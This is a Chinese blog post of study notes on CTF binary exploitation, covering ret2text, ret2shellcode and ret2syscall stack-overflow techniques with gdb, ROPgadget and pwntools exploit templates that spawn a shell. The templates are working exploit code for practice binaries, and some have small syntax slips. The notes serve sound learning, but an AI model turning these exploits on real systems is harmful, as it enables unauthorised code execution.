PWN学习笔记

PWN学习笔记

一. ret2text 小结

  1. linux自带base64解密,例如:echo 密文 | base64 -d;

  2. 有的假pwn题实际上是misc题,因为可能会有 '\r' 可以一直清空这一行的输出,但是我们可以通过 recv() 获取完整的输出;

  3. puts()函数后自带换行

  4. ida会自己计算变量相对于ebp的距离,ebp是相对于栈顶,有时出题人卡成esp(栈底)p,这时需要用动态调试来确定填充长度。ebp、rbp指向父函数的返回地址(previous ebp),下一个才是主函数的返回地址。

  5. gdb 程序名 即可动态调试; b 函数名 / b * + 地址 打断点;栈在用户空间最高地址;n 步过,s 步进;输入 stack 长度 可以看到栈的详细信息;ebp再往高一个地址就是函数返回地址,也就是要攻击的地址。我们可以在程序里找到一个 system("/bin/sh") 这个backdoor,窃喜。即篡改return地址到后门函数。

  6. stack 可以显示栈帧,通过寄存器块显示的ebp和esp的距离来确定看多大。

  7. ret2text 要求程序必须自带后门函数,比较局限。

一个模板:

from pwn import *

io = process("./ret2text") # io = remote("...", )

io.recvline()
payload = b'A' * 16 + b'BBBB' + p32(0x8048522) # 用p32()打包成字节数据

io.sendline(payload)

io.interactive()
  1. 注意要覆盖掉 ebp(再填4个字节),对于 rbp 则要再填8个字节。

二. ret2shellcode 小结

  1. The NX bits 栈不可执行,由操作系统实现,编译时默认打开
  2. ASLR 内存空间地址随机化,部分随机化时栈、mmap()、动态链接库都被随机化,即使可以在本地 gdb 调试查看栈,也无法确定远程栈的具体情况,因此无法在栈写入 shellcode ,所以考虑在 bss 段写入,默认可执行,远端的 ASLR 基本不可能关闭,所以就算关了 NX ,也没办法把shellcode写在栈里。关闭 ASLR:echo 0 > /proc/sys/kernel/randomize_va_space,gdb中默认关闭ASLR。
  3. PIE 可以来随机化 ELF 文件本体,导致不可以通过 Bss,Data,Text 段进行溢出。
  4. Bss 可以用来存放未被初始化的全局变量,如果一个全局变量可以溢出,那么它就可以用来填充shellcode以控制执行流
  5. shellcode 是机器码,可以通过 pwntools 的shellcraft来获取shellcode,模板如下:
from pwn import *
print(asm(shellcraft.sh())) # 获取 32位 

context.arch = "amd64" # 更改攻击环境位64位
print(asm(shellcraft.amd64.sh())) # 获取 64位
  1. pwndbg vmmap 命令可以显示栈帧结构。
  2. python hex() 可以把10进制数转换为16进制数
  3. canary保护 会在栈里写一个随机数,如果用垃圾数据覆盖了 ret 地址,程序在leave时会检查一次 canary ,如果异常会直接结束程序。如果存在 canary ,那么就无法栈溢出了。

模板:

import pwn from *

io = process("./ret2shellcode")

shellcode = asm(shellcraft.sh()) # 获得shellcode
payload = asm(shellcraft.sh()).ljust(112, b'A') + p32(0x804a080) 
# ljust(x, b'a') 表示用字节a一直填充直到总字节长度为x

io.sendline(payload)

io.interactive()

三. ret2syscall

  1. 系统调用:操作系统内核函数(kernel)只有接口,是操作系统提供给用户的编程接口,是提供访问操作系统所管理的底层硬件的接口,本质上是内核函数代码,在内核空间储存(最高)。
  2. 动态链接库实际上是pwd目录下的一个可执行文件。
  3. 我们称一个 pop_ebp_ret 为一个 gadget ,ret相当于pop eip,ret指令总是把栈上存放的地址弹出给eip执行。
  4. 需求:程序内并没有一个连续的指令可以调用,只能将程序里的很多散的指令手搞成链,只有以 ret 结尾的指令才可以连续执行。这样可以获得一个 gadget ,当有很多个gadget时就可以构成一个连续的ROP链,这个ROP链就成了一个可以拿到shell的函数(比如 execve("\bin\sh",NULL,NULL) 系统调用号为 0xb )
  5. shift + F12 查找字符串,可以找到“看不到”的 /bin/sh
  6. 静态链接指程序在编译时就把库代码附加到函数本体内,可以用 file 命令查看文件相关信息。
  7. xor 是异或,同0异1,对寄存器可以类比,xor eax eax可以清空eax,所以xor可以用以清空eax,mov eax, 0相对慢,消耗资源多。
  8. flat([]) 接受一个列表参数,把列表参数中的每一项转成字节型数据,自动把不足1字长的数据填充。
  9. 工具:ROPgadget ,用法: ROPgadget --binary 文件名 --only "pop|ret" | grep eax ,其中|是管道符,可以将前一个指令的输出作为后一个指令的输入,grep可以将输入中含有其后参数里字符串的数据输出出来,相当于是个筛选,这里筛出了 eax 。此外,这个工具还可以查找一些字符串的地址,例如:
    ROPgadget --binary 文件名 --string '/bin/sh'
    注意:要适当选取 gadget。
    此外也可以通过pwntools自带的函数来查找文件中的字符串位置。
from pwn import *
elf = ELF(".\ret2syscall")
bin_sh = hex(next(elf.search(b"/bin/sh"))) 

攻击模板:

import pwn from *

io = process("./ret2syscall")

# 需要找到对应gadget的地址
pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
int_0x80 = 0x08049421
bin_sh = 0x80BE408

payload = flat([b'A' * 112, pop_eax_ret, 11, pop_edx_ecx_ebx_ret, 0, 0, bin_sh, int_0x80])

io.sendline(payload)

io.interactive()
posted @ 2021-10-01 20:09  许江一墨  阅读(144)  评论(1编辑  收藏  举报